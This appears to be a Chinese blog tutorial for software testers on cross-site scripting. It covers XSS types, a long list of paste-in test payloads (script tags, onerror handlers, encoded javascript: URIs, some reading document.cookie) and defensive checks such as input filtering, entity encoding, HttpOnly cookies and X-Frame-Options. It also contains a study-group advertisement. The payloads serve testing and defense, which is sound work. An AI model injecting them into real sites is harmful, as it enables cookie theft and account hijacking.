一、什么是XSS
XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。
二、xss攻击分类
第一种:反射型
页面仅把用户输入直接回显在页面或源码中,需要诱使用户点击才能成功。
第二种:持久型
XSS 攻击代码会被存储在服务器中,由于用户可能会主动浏览被攻击页面,此种方法危害较大。
第三种:DOM 型( DOM Based XSS )
通过修改页面的 DOM 节点形成 XSS,严格来讲也可划为反射型 XSS。
三、xss攻击常见case
(1)<script>alert('XSS')</script> //简单弹框
(2)<ScRiPt>AlErt('XSS')</ScRiPt> //过滤了大小
(3)<img src="#" onerror=alert("XSS")> //img 标签 进行绕过
(4)javascript:alert('xss') //使用 Javascript 的尾协议
(5)' onclick=' alert("xss") //利用 href 属性值来进行xss
四、通用的xss测试用例
如下:
★~!@#$%^&*()_+<>,./?;'"[]{}-
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS1')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/
★<script>alert('xss2')</script>
★<script>alert('xss3');</script>
★</script><script>alert(‘xss4’)</script>
★javascript:alert(/xss5/)
★javascript:alert(/xss6/)
★<img src="#" onerror=alert(/xss7/)>
★<img src="#" style="Xss:expression(alert(/xss8/));">
★<img src="#"/**/onerror=alert(/xss9/) width=100>
★=’><script>alert(document.cookie)</script>
★1.jpg" onmouseover="alert('xss10')
★"></a><script>alert(‘xss11’);</script>
★http://xxx';alert('xss12');var/ a='a
★’”>xss&<
★"onmouseover=alert('hello');"
★&{alert('hello');}
★>"'><script>alert(‘XSS13')</script>
★>%22%27><img%20src%3d%22javascript:alert(%27XSS14%27)%22>
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS15%26quot;)>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS16%27))%22%20OS%22
★%22%2Balert(%27XSS17%27)%2B%22
★<table background="javascript:alert(([code])"></table>
★<object type=text/html data="javascript:alert(([code]);"></object>
★<body onload="javascript:alert(([code])"></body>
★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = ”;hackerFunction(document.cookie);”;
遇到有输入框的地方,例如评论框,发表内容入口等,把以上所有内容全部copy进去。
这样做的作用是:初步判断前端是否做了统一的html输入的处理。
你可能会得到这样的内容:
上面的bug是以下这段被注入了,前端没有针对具体的html标签转义。属于反射性xss攻击。
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS1')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/
现在我也找了很多测试的朋友,做了一个分享技术的交流群,共享了很多我们收集的技术文档和视频教程。
如果你不想再体验自学时找不到资源,没人解答问题,坚持几天便放弃的感受
可以加入我们一起交流。而且还有很多在自动化,性能,安全,测试开发等等方面有一定建树的技术大牛
分享他们的经验,还会分享很多直播讲座和技术沙龙
可以免费学习!划重点!开源的!!!
qq群号:485187702【暗号:csdn11】
五、测试策略
关注前后端开发的方案,分别从以下几个方面看,是否有如下针对性的XSS防御:
1、使用 XSS Filter
关注开发方案中,是否针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:
表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。
过滤或移除特殊的 html 标签:<script>、<iframe>等。
过滤 js 事件的标签:onclick、onerror、onfocus等。
校验点:
1>. 前端处理方式,比如对script标签,将特殊字符替换成HTML编码这些等。
2>.后端需要对提交的数据进行过滤。
2、html 实体
是否对不可信数据进行 HTML Entity 编码
HTML 实体是一段以连字号(&)开头、以分号(;)结尾的文本(字符串)。在 html 中有些字符对于 HTML 来说是具有特殊意义的,所以这些特殊字符不允许在文本中直接使用,需要使用实体字符。
html 实体的存在是导致 XSS 漏洞的主要愿意之一,因此我们需要将实体转化为相应的实体编号。
一般为了避免 XSS 攻击,会将 <> 编码为 < 与 >,这些就是 HTML 实体编码。
校验点:
1>、<>等6个字符,所见即所得,怎么输入的怎么展示,不能丢失,不能显示转义后的内容。
3、JavaScript编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror, onload等)。
在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码。
可能要关注的点:
在对不可信数据做编码的时候,不能图方便使用反斜杠\ 对特殊字符进行简单转义,比如将双引号 ”转义成 \”,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,
所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击;
校验点:
1>、所见即所得,怎么输入的怎么展示,不能丢失,不能显示转义后的内容。
4、Http Only cookie
许多 XSS 攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 http only,
这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,
这样就避免了 XSS 攻击利用 js 的 document.cookie获取 cookie。
HttpOnly是cookie里面一个属性,假如在cookie里面设置了HttpOnly这个属性,那么JavaScript将无法访问到我们到cookie,
但是这个方法也只能是防御cookie劫持。
5、X-Frame-Options配置:
低危漏洞- X-Frame-Options Header未配置X-Frame-Options 响应头
X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在 <frame>, </iframe> 或者 <object> 中展现的标记。
网站可以使用此功能,来确保自己网站的内容没有被嵌到别人的网站中去,也从而避免了点击劫持 (clickjacking) 的攻击。
最后感谢每一个认真阅读我文章的人,看着粉丝一路的上涨和关注,礼尚往来总是要有的,虽然不是什么很值钱的东西,如果你用得到的话可以直接拿走! 希望能帮助到你!【100%无套路免费领取】